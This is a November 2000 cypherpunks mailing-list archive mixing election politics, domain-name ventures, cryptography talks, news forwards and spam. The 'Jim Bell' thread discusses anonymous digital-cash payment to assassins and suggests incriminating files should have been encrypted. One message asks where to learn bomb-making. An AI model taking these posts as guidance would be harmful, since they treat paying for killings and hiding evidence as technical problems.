their site. They are targetting telcos (for people willing to outsource their security) and large private networks. Anyone have any more information or comments on this product? Peter Trei PS: Their webpage wants me to install a plugin called Data Detective PC Search by Appletware. Anyone know what it does? It sounds ominous. pt Disclaimer: The above represent my personal opinions only. From k.brown at ccs.bbk.ac.uk Tue Nov 28 04:04:11 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 28 Nov 2000 12:04:11 +0000 Subject: CDR: Re: Imagine References: <5632bc3f046e43472f17c277a10a11fe@remailer.ch> Message-ID: <3A239F3B.FE0A51E4@ccs.bbk.ac.uk> Anonymous wrote: > > No User wrote: > > > A history professor from Uppsala Universitet in Sweden, called to > > tell me about this article she had read > > Uppsala Universitet has no female history professors. Sorry. And what's more some of these non-existent female professors even have web pages. Sorry. If you've got to debunk a story, at least do the research. http://www.uu.se/Adresser/Directory/HS.html#HS (Economic History) http://www.uu.se/Adresser/Directory/deps/HH8.html (History) I can find at least 2 (& possibly 4, I'm not sure which names are women) women with the title "Prof.". Anyway, in the US "professor" means just about any University teacher or researcher. Here in the UK (& I think also in Sweden) it is either an honorary title given to a small number of very senior people, or else the head of a department (the word is used differently in different institutions), or sometimes the holder of one of a small number of prominent non-teaching posts. Uppsala has large numbers of female "Doktorand", who I presume are what here in England we'd call "lecturer." For most of the readers of this list, they would be "professor". Ken (who can overhear some female history professors talking as he types) From rah at shipwright.com Tue Nov 28 09:08:30 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 12:08:30 -0500 Subject: CDR: ip: Know your enemy By Linda A. Prussen-Razzano Message-ID: Geodesic politics. ;-). Cheers, RAH Who only started following since this recent election fiasco began, though, of course, cypherpunks have heard of them pretty much since the site started. --- begin forwarded text From jburnes at savvis.net Tue Nov 28 10:10:35 2000 From: jburnes at savvis.net (Jim Burnes) Date: Tue, 28 Nov 2000 12:10:35 -0600 Subject: CDR: Re: Janet Reno on Florida, children, violence In-Reply-To: References: <4.3.0.20001128101012.01b4a030@mail.well.com> Message-ID: <00112812103507.03450@reality.eng.savvis.net> On Tue, 28 Nov 2000, R. A. Hettinga wrote: > At 10:10 AM -0500 on 11/28/00, Declan McCullagh wrote: > > ATTORNEY GENERAL JANET RENO'S SCHEDULE > > Attends Florida's Children Exposed to Violence "Safe from the > > Start" > > Summit, Palm Beach Community College, 4200 Congress Ave., Lake Worth, > > FL > > Location: Location Not Listed. > > Contact: 202-616-2771 > > Meanwhile there was a legal conference here at Harvard recently on the > day-care "child-abuse" witch hunt hysteria that got JR her first bones as a > DA, and, eventually, the AGUS job. They had the younger Ms. Amerault there, > recently out of stir awaiting a probably-never-to-be-held retrial -- her > 70-something year old mother having recently died of terminal > claustrophobia from said prison visit -- whose brother is still in jail > begging for a parole-board commutation for a "crime" he didn't commit. > > Meanwhile JR quite literally burns a score or two of children in Waco and > goes around headlining "its for the children" conferences like the above. > > The irony meter pegs. > > It takes a village to hang a witch and burn a child, I guess. > > Cheers, > RAH Couldn't have said it better myself. When Dubya finally assumes the crown, the AGUS appointment will be the biggest relief for me. Not that I'm personally affected. It's just that having a baby burner refusing to resign for that long and then talk about children's exposure to violence... Its like some scene out of Catch 22. (hope that line doesn't activate some damn MKUltra droid ;-) jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From fisherm at tce.com Tue Nov 28 09:11:40 2000 From: fisherm at tce.com (Fisher Mark) Date: Tue, 28 Nov 2000 12:11:40 -0500 Subject: CDR: RE: Re: Jim Bell Message-ID: > (Wasn't Joshua the computer in "War Games"?) Yes -- or at least it was both the backdoor password and how the computer referred to itself when it was run using the backdoor. A movie that, sad to say, is no longer available to rent at all Blockbuster stores... (Missing from the Noblesville, IN store.) ==================================================== Mark Leighton Fisher Thomson Consumer Electronics fisherm at tce.com Indianapolis, IN, USA "Display some adaptability." -- Doug Shaftoe, _Cryptonomicon_ From anonymous at openpgp.net Tue Nov 28 09:45:21 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 28 Nov 2000 12:45:21 -0500 Subject: CDR: pictures free speech compulsory youth education camps Message-ID: Nov 28, 2000 - 12:12 PM Court to Review Whether Boys Drawings Constitute a Threat The Associated Press BOSTON (AP) - The states highest court is reviewing two drawings penned by a 12-year-old Worcester, Mass., student, to determine if they were a threat against his teacher. The drawings, made two years ago, depict a boy holding a gun pointed at a teacher as she says "please dont kill me" and sobs. A lower court sentenced the boy last year to more than five years probation. The Supreme Judicial Court heard arguments in the case Nov. 7 and is expected to rule soon. Kathleen Kelly, the boys lawyer, told the SJC that a picture cannot be considered a threat, The Boston Globe reported Tuesday. "If a picture communicates a thousand words, why does one need a thousand words?" Chief Justice Margaret Marshall asked. "Because if its a picture alone, theres no intent within that picture to communicate the threat," Kelly answered. Worcester County prosecutor Sandra Hautanen argued that schools must be mindful of recent school shootings. Students in several Massachusetts town have been arrested, disciplined or expelled this year for alleged threats. Some student rights advocates say school leaders have overreacted in the wake of high-profile school shootings. "The punishment really does need to fit the crime, and I feel like weve been using a sledgehammer when a little tapper might be more effective," said Isabel Raskin of the Juvenile Justice Center at Suffolk University Law School. From jchoate at dev.tivoli.com Tue Nov 28 11:05:32 2000 From: jchoate at dev.tivoli.com (Jim Choate) Date: Tue, 28 Nov 2000 13:05:32 -0600 Subject: CDR: CNN.com - U.S. Supreme Court strikes down drug roadblocks - November 28, 2000 Message-ID: <3A2401FB.E9B3C0A0@dev.tivoli.com> http://www.cnn.com/2000/LAW/11/28/court.roadblocks.sc.reut/index.html -- The Laws of Serendipity: 1. In order to discover anything, you must be looking for something. 2. If you wish to make an improved product, you must first be engaged in making an inferior one. Tivoli Certification Group, OSCT James Choate jchoate at tivoli.com Senior Engineer 512-436-1062 -------------- next part -------------- A non-text attachment was scrubbed... Name: index.html Type: text/html Size: 53617 bytes Desc: not available URL: From frissell at panix.com Tue Nov 28 10:07:15 2000 From: frissell at panix.com (Duncan Frissell) Date: Tue, 28 Nov 2000 13:07:15 -0500 Subject: CDR: ip: Know your enemy By Linda A. Prussen-Razzano In-Reply-To: Message-ID: <5.0.0.25.0.20001128130508.04447eb0@popserver.panix.com> At 12:08 PM 11/28/00 -0500, R. A. Hettinga wrote: >http://www.enterstageright.com/1200freepers.htm >Enter Stage Right > >Know your enemy >By Linda A. Prussen-Razzano > >Senator Joseph Lieberman, Vice President Al Gore's running mate, publicly >issued allegations that the Republican Party was bussing paid operatives to >Florida for the expressed purpose of intimidating local election officials I don't think they were bussing (kissing) them. In fact they probably weren't busing (transportation by bus) them. They were flying them in. DCF ---- "In those days there was no king in Israel, but every man did that which was right in his own eyes." -- The Book of Judges, Chapter 17, Verse 6. From anonymous at openpgp.net Tue Nov 28 10:10:27 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 28 Nov 2000 13:10:27 -0500 Subject: CDR: sex.com forgery reversed by judge Message-ID: Monday November 27 8:35 PM ET U.S. Judge Orders sex.com Address Returned to Owner By Andrew Quinn SAN FRANCISCO (Reuters) - A judge ordered a major sex change on the Internet on Monday, ending a hot-blooded struggle over arguably the most valuable piece of real estate in cyberspace -- the rights to the name sex.com. U.S. District Judge James Ware ordered Stephen Cohen, who has turned the sex.com Web site into a multimillion pornography business, to turn the address over to San Francisco entrepreneur Gary Kremen -- who had the foresight to register the address in 1994, at the dawn of the Internet age. Im just a small guy and this is a huge guy who has built an empire based on fraud and deceit, an overjoyed Kremen told reporters outside the San Jose, Calif., courthouse after Wares decision. Im like a little guy, so I feel pretty good about it. Cohen did not return calls seeking comment in the case, and his lawyers declined to speak to reporters at the courthouse. The judges order marked an important step in resolving the issues of Internet claim-jumping and the real value of cyber real estate. According to Kremens lawyers, Cohen took control of the sex.com address in 1995 by presenting forged transfer of ownership documentation to Network Solutions Inc., which oversees the allocation of Web site addresses. Using a company registered in the British Virgin Islands, Cohen proceeded to turn sex.com into what Kremens lawyers call a multimillion dollar sex empire -- a one-stop shop for the nastiest, raunchiest pornography the Internet has to offer. ..snip.. http://dailynews.yahoo.com/h/nm/20001127/wr/tech_sex_dc_1.html From rah at shipwright.com Tue Nov 28 10:58:27 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 13:58:27 -0500 Subject: CDR: Mulle kybernetiK releases the MulleCipher Cryptography Framework Message-ID: --- begin forwarded text From rah at shipwright.com Tue Nov 28 11:09:19 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 14:09:19 -0500 Subject: DCSB: Win Treese; So, Where's All the Financial Cryptography? Message-ID: [Note that the Harvard Club is now "business casual". No more jackets and ties... --RAH] The Digital Commerce Society of Boston Presents Win Treese, Fellow, VP Technology, Open Market, Inc. Fermi's Revenge: Systems Thinking for Financial Cryptography Tuesday, December 5th, 2000 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA The technology of financial cryptography has promised many changes for the way that individuals and organizations do business, yet little progress has been made in real systems. In part, this is because the technology proposals--the crypto, the protocols, and occasionally code--are usually presented with little or no context for the total system in which they play. This talk will look at some of the systems issues, both technical and non-technical, that are critical for successful implementations of financial cryptography. Win Treese is a Fellow and Vice President of Technology at Open Market, Inc. At Open Market, he has contributed to the architecture and implementation of many of its products, with a particular focus on security. Before co-founding Open Market in 1994, he was a member of the research staff at Digital Equipment Corporation's Cambridge Research Laboratory. In 1999, Win was named a "High-Tech All Star" by Mass High Tech. He is co-author of the book "Designing Systems for Internet Commerce" and chairs theTransport Layer Security (TLS) Working Group of the Internet Engineering Task Force. This meeting of the Digital Commerce Society of Boston will be held on Tuesday, December 5th, 2000, from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, on One Federal Street. The price for lunch is $35.00. This price includes lunch, room rental, A/V hardware if necessary, and the speakers' lunch. The Harvard Club has relaxed its dress code, which is now "business casual", meaning no sneakers or jeans. Fair warning: since we purchase these luncheons in advance, we will be unable to refund the price of your meal if the Club finds you in violation of what's left of its dress code. We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, December 2nd, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston", in the amount of $35.00. Please include your e-mail address so that we can send you a confirmation If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Upcoming speakers for DCSB are: TBD Ted Byfield Decentralized DNS Control TBD Scott Moskowitz Watermarking and Bluespike As you can see, :-), we are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, are a principal in digital commerce, and would like to make a presentation to the Society, please send e-mail to the DCSB Program Committee, care of Robert Hettinga, . -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from this list, send a letter to: Majordomo at reservoir.com In the body of the message, write: unsubscribe dcsb-announce Or, to subscribe, write: subscribe dcsb-announce If you have questions, write to me at Owner-DCSB at reservoir.com --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From pgut001 at cs.auckland.ac.nz Tue Nov 28 14:13:14 2000 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Tue, 28 Nov 2000 14:13:14 (NZDT) Subject: Excerpts from "The Design and Verification of a Cryptographic Security Architecture" available Message-ID: <97537399424824@kahu.cs.auckland.ac.nz> In August I finally submitted my PhD thesis, coming close to wrapping up my long career as a tenured graduate student. Although the work hasn't been accepted yet, there has been some interest expressed in portions of it so I've put a few chapters online. Note that these chapters represent a draft only and are not the completed work. The main part of the thesis, Chapters 1-5, is available from http://www.cs.auckland.ac.nz/~pgut001/pubs/thesis.html. These chapters look at an alternative way of building what people have been trying to do with Orange Book B3/A1-type systems, but in a way which is feasible and practical for an open source system where you don't have tens of millions of dollars and 5-10 years available to produce a product. The chapters are (from the web page, where they're links to the docs): The software architecture, wherein the cryptlib software architecture is presented The security architecture, wherein the cryptlib security architecture is presented The kernel implementation, wherein the implementation details of the cryptlib security kernel are examined Verification techniques, wherein existing methods for building secure systems are examined and found wanting Verification of the cryptlib kernel, wherein a new method for building a secure system is presented. Peter. From frissell at panix.com Tue Nov 28 11:16:52 2000 From: frissell at panix.com (Duncan Frissell) Date: Tue, 28 Nov 2000 14:16:52 -0500 Subject: CDR: Re: Imagine In-Reply-To: <3ea1c0c6af88b571e86f82cb967a4d02@anon.xg.nu> Message-ID: <5.0.0.25.0.20001128132323.044efae0@popserver.panix.com> At 09:31 PM 11/27/00 -0600, No User wrote: >1. Imagine that we read of an election occurring anywhere in the third >world in >which the self declared winner was George was not "self-declared". He holds certifications of victory from the elections officials of 29 states totalling 271 electoral votes. DCF ---- Nine U.S. states have no general tax on wages and salaries: Alaska, Florida, Nevada, New Hampshire, South Dakota, Tennessee, Texas, Washington, and Wyoming From baptista at pccf.net Tue Nov 28 11:31:53 2000 From: baptista at pccf.net (Joe Baptista) Date: Tue, 28 Nov 2000 14:31:53 -0500 (EST) Subject: CDR: Re: Wanted TLD operators for the ORSC In-Reply-To: <3.0.5.32.20001128093653.01a46a20@idiom.com> Message-ID: On Tue, 28 Nov 2000, Bill Stewart wrote: > At 05:44 AM 11/28/00 -0500, Joe Baptista wrote: > >I'm looking for people who want to operate tlds in the orsc zone. > >You need to know BIND, and have a familiarity with database programming > >like mysql. > >If anyone is interested - send me a private email and i'll followup on it > >this weekend and we can start getting you online. > > > >The orsc needs new blood. It's stagnated at 380 member tlds. > > Well, if you're not averse to stirring up trouble (:-), > see if you can find the contact for China's proposed > .[Chinese-Unicode-Character-for-Commercial] TLD, > which they announced would be competing with ICANN's .com > for Chinese-language domain names. > I don't know what the phonetic equivalent of the name is, > but maybe they'd also want somebody to run ".chicom" mirroring it... me adverse to stiring up trouble? I think you know me better then that ;-). It's a good idea and I'm a firm believer in getiing the orient involved in this. there's alot momentum in the orient and asian countries which I will definately take advantage of. Another good region i'm looking at is india. Thank you for the heads up - appreciated. regards joe -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From rsw at MIT.EDU Tue Nov 28 11:34:20 2000 From: rsw at MIT.EDU (Riad S. Wahby) Date: Tue, 28 Nov 2000 14:34:20 -0500 Subject: CDR: RE: Re: Jim Bell In-Reply-To: ; from fisherm@tce.com on Tue, Nov 28, 2000 at 12:11:40PM -0500 References: Message-ID: <20001128143420.G25703@positron.mit.edu> Fisher Mark wrote: > Yes -- or at least it was both the backdoor password and how the computer > referred to itself when it was run using the backdoor. A movie that, sad to > say, is no longer available to rent at all Blockbuster stores... (Missing > from the Noblesville, IN store.) Hmm... that's strange. Here (in Cambridge, MA) the Blockbuster two blocks from me has it. Of course, they don't have UHF because of theft and an inability to replace it, so perhaps your local store is plagued by the same problem with Wargames. -- Riad Wahby rsw at mit.edu MIT VI-2/A 2002 5105 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 1000 bytes Desc: not available URL: From rah at shipwright.com Tue Nov 28 11:43:29 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 14:43:29 -0500 Subject: DCSB: Win Treese; So, Where's All the Financial Cryptography? Message-ID: --- begin forwarded text From ichudov at Algebra.Com Tue Nov 28 12:57:28 2000 From: ichudov at Algebra.Com (Igor Chudov) Date: Tue, 28 Nov 2000 14:57:28 -0600 (CST) Subject: CDR: mailing list cleanup Message-ID: <200011282057.OAA21583@manifold.algebra.com> Just wanted to clarify something for subscribers of cypherpunks at algebra.com. If a message posted to cypherpunks and then sent to you bounces, and if the bounce looks like a permanent problem (no such user, relaying denied, etc), your adress will be removed from cypherpunks at algebra.com. feel free to resubscribe whjen you resolve your problems. - Igor. From foster at staff-abuzz.com Tue Nov 28 12:04:54 2000 From: foster at staff-abuzz.com (foster at staff-abuzz.com) Date: Tue, 28 Nov 2000 15:05:54 -0459 Subject: CDR: Today on Abuzz: Election 2000 Message-ID: <200011282325.PAA20667@toad.com> Dear cypherpunks2112, When you signed up for The New York Times on the Web, you also signed up for Abuzz, a division of New York Times Digital. Congratulations! By marking that check box, you became an Abuzz member: part of a knowledge network where you can ask questions, get answers, and share what you know with other Abuzz members. Right now on Abuzz, people are talking about the election controversy. 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To disable your Abuzz membership, please go to: http://nytimes.abuzz.com/disable_account From tigerline at onetel.net.uk Tue Nov 28 15:25:39 2000 From: tigerline at onetel.net.uk (tigerline at onetel.net.uk) Date: Tue, 28 Nov 2000 15:25:39 -0800 (PST) Subject: No subject Message-ID: <200011282325.PAA23314@cyberpass.net> Hello, Find out how you can make thousands on the stockmarket without risking your money. This information gives you the chance to reap large financial rewards. You will no longer be tempted into buying stocks at the wrong time or after they have had their major price rise. Just one quick look at the information I will send you and you will know whether company is a bargain or not. It makes your decisions a lot easier. On the question of when to sell, I will tell you the best way to make this decision. One thing you will be sure of is that you will make money, probably an amazing amount. Join our FREE Newsletter today. Send a blank email with "Tigerline Newsletter" in the subject line. Mike Lewis, Editor tigerline at onetel.net.uk From announce at inbox.nytimes.com Tue Nov 28 12:30:36 2000 From: announce at inbox.nytimes.com (The New York Times on the Web) Date: Tue, 28 Nov 2000 15:30:36 -0500 (EST) Subject: CDR: Important Membership Information Message-ID: <200011282030.PAA05304@web80t.lga2.nytimes.com> Dear cypherpunks570, Welcome to NYTimes.com! We are delighted that you have decided to become a member of our community. As a member you now have complete access to the Web's premier source for news and information -- free of charge. NYTimes.com not only provides you with in-depth coverage of events happening around the world but also with a wealth of additional features and services. The site is updated regularly throughout the day by New York Times reporters and editors to give you greater insight into events unfolding throughout the day. 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Searches and summaries of articles are free, but there is a small fee for full text. http://archives.nytimes.com/archives?welcome ** Explore the Help Wanted and other classified listings on the Web: http://classifieds.nytimes.com/hw?welcome ** Get a free photo screensaver from The New York Times Photo Archives Choose from Vintage New York, Americana, Coney Island and more: http://www.nytimes.com/partners/screensaver/index.html?welcome ** Search our archive of 50,000 book reviews, listen to author interviews or sign-up for an exclusive weekly newsletter from our Books Editor: http://www.nytimes.com/books/home?welcome Thank you again for becoming a member. We hope that you will make a point of visiting the site often. Sincerely, Rich Meislin, Editor in Chief New York Times Digital P.S. Your opinions are important to us. Share your thoughts about the site with us by sending an e-mail to feedback at nytimes.com ************************************************************* Your account information is listed below for future reference: Your Member ID is cypherpunks570 You selected your password at registration. Your e-mail address is cypherpunks at algebra.com If you did not authorize this registration, someone has mistakenly registered using your e-mail address. We regret the inconvenience; please see http://www.nytimes.com/subscribe/help/cancel.html for instructions. From rah at shipwright.com Tue Nov 28 12:39:29 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 15:39:29 -0500 Subject: CDR: Can Internet Voting Restore Electoral Process Integrity? Message-ID: http://www.internetweek.com/columns00/frezz111500.htm November 15, 2000 Plugging In Can Internet Voting Restore Electoral Process Integrity? By BILL FREZZA As I was gleefully reviewing the wreckage of the presidential election the other night, two juxtaposed Yahoo headlines caught my eye. The first read, "Internet News Sites Crushed By Election Traffic." It described the abysmal performance of every major election-results Web site as the surge of traffic overwhelmed all preparations to scale up in anticipation of the load. The second read, "Internet Voting Could Have Saved U.S. Election Day." In it, the CEO of VoteHere.net was confidently opining that voting over the Internet could be used to avoid incidents like the Florida recount fiasco. Let's hope not. I wouldn't have missed the great Election Day meltdown of 2000 for the world. For the 50 percent of the eligible electorate that stayed home--100 million of us--the food fight in Florida stands as a resounding victory for the forces of "none of the above." It would be a shame to replace all those paper ballots, punched cards and decrepit voting booths with modern digital technology. Not that it would be easy to develop a nationwide Internet voting system. It's one thing to run a small-scale experiment whose results don't count, but quite another to develop a ubiquitous system that doesn't suffer from security, reliability, privacy and performance problems of its own. Should such an eventuality come to pass, as it probably will someday, we may never again enjoy the spectacle of a bunch of befuddled grandmas suing for a do-over. Or the delicious irony of watching the son of Mayor Richard Daley, one of the most effective machine-politics election riggers of all time, demand redress for "voter irregularities." Worse yet, an effective Internet voting system would never be limited to use only in national elections. Its very existence would inspire direct democracy zealots to introduce electronic voting into all levels of government. For a taste of what this might be like, take a look at the rule-by-referendum circus in California. This is a state where voters haven't allowed any new power plant construction in a decade yet profess to be mystified as to why they face an electricity shortage. It's a state where busybody Internet millionaires spend fortunes backing one ballot initiative or another, proving that money can do more than buy a Senate seat, as it just did for the 60 Million Dollar Man in New Jersey. After all, beyond the ego gratification of being a senator, why bother when you can just pay to have your pet law put directly on the books? Do you really want your neighbors voting to tell you what color to paint your house, what kind of taco shells you can buy, how many hours of volunteer community service you owe or what kind of clothes your kid is allowed to wear? If we are ever foolish enough to embrace Internet voting, there will be no area of life that will be safe from the meddling of an empowered electorate. Democracy is surely broken. After spending the last century shedding its constitutional limitations, it spent the past eight years escaping the rule of law, substituting a virulent form of partisanship under which any excess can be justified because the other side is "bad" and our side is "good." While the Internet has done a fine job of breaking the cozy relationship between politicians and the established press, showing us the gory details of how Washington really makes its sausage, technology cannot fix the sausage factory. It can only make the political machinery more efficient, which in the end will just churn out more sausage. Oddly enough, this is why watching the American political system get mired in a broken election is good news for anyone who believes in freedom. No matter what happens in the weeks ahead, the next president will serve under a cloud of questioned legitimacy. Underneath this cloud will be a Senate more or less evenly divided between two warring parties, including a stand-in for the first dead man to win national office and a former first lady who will surely surpass Newt Gingrich as a lightening rod for divisiveness. No one will be able to break the gridlock as the Clinton legacy of politicizing anything and everything comes to be seen not as a temporary aberration introduced by a self-absorbed moral cretin but as a permanent way of life. Welcome to the permanent campaign. May all professional politicians spend 100 percent of their time tearing each other's lungs out. Pass the cigars and brandy; the American people have spoken. Let's hope they keep mumbling incoherently as we all get back to work building our real future. With a little luck it will be a future in which few people care or even know who is president. Bill Frezza is a general partner at Adams Capital Management. He can be reached at frezza at alum.MIT.EDU or www.acm.com -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From bill.stewart at pobox.com Tue Nov 28 13:01:20 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 28 Nov 2000 16:01:20 -0500 Subject: CDR: RE: Internet anonymity/pseudonymity meeting invitation In-Reply-To: References: Message-ID: <3.0.5.32.20001128121718.01a30b50@idiom.com> At 09:33 PM 11/27/00 -0500, dmolnar wrote: >On Mon, 27 Nov 2000, Trei, Peter wrote: >> Does anyone besides me find irony in having a 'get-to-know-you' >> session for a group studying anonymity? > >Pseudonymity as well, isn't it? The Bay Area Cypherpunks Meetings have had visitors such as "Lucky Green", "Black Unicorn", "Lawrence from Boulder", "Ogre", "John Doe #3", multiple "Tim May"s and Detweilers, "Hey You", and people who either didn't mention their names or gave plausible-sounding names that didn't trigger the "obvious pseudonym" test. Some of those people have used other names at the meeting as well; it was quite a while before Lucky decided to let his other well-known name overlap into Cypherpunks namespace, and Black Unicorn has used several names in various contexts. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From Olivierreni at aol.com Tue Nov 28 13:30:02 2000 From: Olivierreni at aol.com (Olivierreni at aol.com) Date: Tue, 28 Nov 2000 16:30:02 EST Subject: CDR: (sans sujet) Message-ID: Hie, Do you know a site where i can know how to make bombs ? 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If you want more information, please send an email with 'more info'in the subject to: info102 at usa.com -mailto:info102 at usa.com?subject=moreinfo-.. This is an automated answer, for removal use s_health11 at consultant.com. If the above link has been removed, just reply to this message with 'more info' on the subject line. This IS NOT UNSOLICITED; you appear in an opt-in list, if in error, please remove yourself. Please let those who suffer from erectile dysfunction, similar problems or small penis size receive this information! =============== DISPONIBLE TAMBIEN EN ESPAÑOL =================== From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 28 14:28:40 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 28 Nov 2000 17:28:40 -0500 Subject: CDR: Vinge Message-ID: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1027 bytes Desc: not available URL: From George at Orwellian.Org Tue Nov 28 14:39:01 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 28 Nov 2000 17:39:01 -0500 (EST) Subject: CDR: Transvestite TLD ;-) Message-ID: <200011282239.RAA29337@www2.aa.psiweb.com> http://interactive.wsj.com/articles/SB975376877752666821.htm # # November 28, 2000 # # VeriSign Invests in dotTV, # Enters Marketing Alliance # # By NICK WINGFIELD # # Staff Reporter of THE WALL STREET JOURNAL # # VeriSign Inc., a leader in handling registrations for ".com" # Internet addresses, Tuesday announced it is investing in a small # firm that controls Internet addresses ending in ".tv". # # VeriSign, Mountain View, Calif., is the largest investor in a # $28 million round of venture capital raised by .TV Corp. # International, a closely held firm in Los Angeles that goes by # the name of dotTV. International cable concern UnitedGlobalCom # Inc., investment firm Munder Capital Management and other # investors contributed to the funding, according to dotTV # executives. # # VeriSign, through its Network Solutions subsidiary, also plans # to begin allowing registrations of .tv Internet addresses on # the Network Solutions Web site. Network Solutions also will store # .tv addresses in a collection of 13 industrial-strength computers # around the world that handle look-ups of Internet addresses. # # Network Solutions is the world's largest registrar of Internet # address or "domain names" ending in .net., .org and .com. VeriSign # and dotTV don't plan to disclose the financial terms of their # marketing alliance, though VeriSign is expected to get a cut # of the $50 annual fee dotTV charges customers for registering # .tv domain names. # # The marketing deal could be a big boost for tiny dotTV, which # wants to establish .tv as an alternative domain name aimed at # Web companies that feature hefty doses of multimedia programming # on their sites. An oversight body called the Internet Corp. for # Assigned Names & Numbers, or Icann, hopes to finalize a plan # by the end of the year to create a number of new Internet address # suffixes, including ".info," ".pro" and ".biz". # # In the meantime, dotTV was able to license rights to the ".tv" # domain name from Tuvalu, a small Pacific Island nation for which # the suffix is an abbreviation. Under its agreement with dotTV, # Tuvalu receives a minimum of $4 million a year during the next # 10 years, according to dotTV executives. Tuvalu also owns about # 20% of the company and has a seat on the dotTV board. From honig at sprynet.com Tue Nov 28 14:48:15 2000 From: honig at sprynet.com (David Honig) Date: Tue, 28 Nov 2000 17:48:15 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: References: Message-ID: <3.0.6.32.20001128141234.0080f770@pop.sprynet.com> At 10:18 PM 11/27/00 -0500, Ray Dillinger wrote: >Bell handwaved on the point of obtaining digital cash for >paying the assassin with. He observed it is a requirement to have strongly anon cash. The details of that are very complicated, but that is not the point. Assume for the moment that it exists. >I don't think I care to waste any effort on figuring out >secure ways to kill people outside the law. Would you feel better if it were within the law? The US (for instance) is not above putting bounties on people's heads. That they do so overtly only signifies their self-confidence. If the US could construct an anonymous payment system that only works for , they'd have uses for it. In any case, what you or I deem gentlemanly technical pursuits certainly is no constraint on anyone else...alas From honig at sprynet.com Tue Nov 28 14:48:49 2000 From: honig at sprynet.com (David Honig) Date: Tue, 28 Nov 2000 17:48:49 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: <3A239B82.B86924BA@ccs.bbk.ac.uk> References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> Message-ID: <3.0.6.32.20001128142838.0080adc0@pop.sprynet.com> At 06:54 AM 11/28/00 -0500, Ken Brown wrote: >Of course if they leave the machine [Carnivore] in the cage you can always stop >feeding it electricity. Or take it home to show the neighbours. It might >make a good conversation piece at dinner. Or maybe use it as an ashtray. >At 10:36 PM 11/27/00 -0500, Tim May wrote: >CALEA has some onerous language in it, but it doesn't trump the >Fourth Amendment. You could try the Carnivore box against an implemention of your Second Amendment rights. Unless the chassis were hardened you'd win. From honig at sprynet.com Tue Nov 28 14:48:49 2000 From: honig at sprynet.com (David Honig) Date: Tue, 28 Nov 2000 17:48:49 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: <20001128011941.B27074@cluebot.com> References: Message-ID: <3.0.6.32.20001128141930.00805a10@pop.sprynet.com> At 01:01 AM 11/28/00 -0500, Declan McCullagh wrote: >stalking. AP just gives it all spice, I suppose. > >-Declan More than spice; conspiracy. The contents of the white paper worked very well with his address lists, etc. to build a case. Both should have been on encrypted partitions. From mix at anon.lcs.mit.edu Tue Nov 28 10:00:14 2000 From: mix at anon.lcs.mit.edu (lcs Mixmaster Remailer) Date: 28 Nov 2000 18:00:14 -0000 Subject: CDR: Re: Jim Bell Message-ID: <20001128180014.30727.qmail@nym.alias.net> Ray Dillinger writes: > Bell handwaved on the point of obtaining digital cash for > paying the assassin with. Bob the broker can go to the > bank and obtain it in the usual way, of course - but then > has to transfer it to Alice the assassin, and there's a > sticky point involved. If he just "copies" the money to > Alice, she can double-spend with impunity and it's Bob's > identity that will be revealed. You're assuming an offline cash system with embedded identity. It is more likely that initial digital cash implementations will be online. By the time such systems come into widespread use (if ever) wireless connectivity will be ubiquitous. Offline cash really can't compete. Attempting to trace, identify, catch and punish double spenders will be overwhelmingly more expensive than simply checking directly that the cash hasn't been spent before. > Conversely, if she provides tokens for the bank to sign, > then Bob has a major problem getting them past the cut-and- > choose protocol at the bank. Even if she provides enough > tokens to completely populate the 